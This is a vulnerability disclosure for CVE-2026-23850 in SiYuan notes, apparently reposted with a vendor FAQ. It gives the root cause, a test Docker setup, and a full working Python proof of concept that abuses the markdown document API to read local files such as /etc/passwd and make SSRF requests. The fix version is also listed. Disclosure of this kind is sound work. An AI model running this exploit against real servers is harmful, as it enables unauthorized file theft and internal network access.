CVE-2026-23850

Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access
We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )

Please note that we used the latest Version and deployed it via this dockerfile :

Dockerfile:

FROM b3log/siyuan

ENV TZ=America/New_York \
    PUID=1000 \
    PGID=1000 \
    SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword
    
RUN mkdir -p /siyuan/workspace

COPY ./startup.sh /opt/siyuan/startup.sh
RUN chmod +x /opt/siyuan/startup.sh

EXPOSE 6806

ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]

startup.sh

#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh

docker-compose.yaml:

services:
  main:
    build: .
    ports:
      - 6806:6806
    restart: unless-stopped
    environment:
      - TZ=America/New_York
      - PUID=1000
      - PGID=1000
    container_name: archivists_whisper

Details

As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886
in createDocWithMd function
the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization
while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too

PoC

Here is a full Python POC ready to run

import requests, sys, os

if len(sys.argv) >= 5 :
    TARGET = sys.argv[1].rstrip("/")
    PASSWORD = sys.argv[2]
    attack_type = sys.argv[3]
    if attack_type == "LFD":
        file_path = f"file://{sys.argv[4]}"
    elif attack_type == "SSRF":
        file_path = f"{sys.argv[4]}"
else:
    sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
    TARGET = "http://127.0.0.1:6806"
    PASSWORD = "SuperSecretPassword" # Workgroup password
    file_path = "/etc/passwd" # file to read

s  = requests.Session()

def login():
    s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})


def list_notebooks():
    res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
    notebooks = res["data"]["notebooks"]
    if not notebooks:
        raise RuntimeError("No notebooks found, create one in the UI first")
    notebook = notebooks[0]["id"]
    return notebook

def file_to_md(notebook, file_path):
    doc_id = s.post(
    f"{TARGET}/api/filetree/createDocWithMd",
    json={
        "notebook": notebook,
        "path": "/pwn",
        "markdown": f"[loot]({file_path})"
    },
    ).json()["data"]
    return doc_id

def convert_file_to_asset(doc_id):
    res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
    # print(f"Debug : convert", res.text)

def get_new_file_name_from_assets(file_path):
    res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
    if attack_type == "LFD":
        new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
    else:
        new_file_name = f"network-asset-{os.path.basename(file_path)}-"
    # print(new_file_name)
    for file in res:
        # print(file["name"])
        if new_file_name in file["name"]:
            return file["name"]
            

def retrieve_file_content(file_name):
    return s.get(f"{TARGET}/assets/{file_name}").text


login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
    print("Content : ", file_content)
else:
    print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")

File read

SSRF :

We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy

As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

https://github.com/siyuan-note/siyuan/issues/16860

1. What is CVE-2026-23850? CVE-2026-23850 is a high-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260118092326-b2274baba2e1. It is fixed in 0.0.0-20260118092326-b2274baba2e1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-23850? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260118092326-b2274baba2e1 is affected.
3. Is there a fix for CVE-2026-23850? Yes. CVE-2026-23850 is fixed in 0.0.0-20260118092326-b2274baba2e1. Upgrade to this version or later.
4. Is CVE-2026-23850 exploitable, and should I be worried? Whether CVE-2026-23850 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-23850 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-23850? Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260118092326-b2274baba2e1 or later.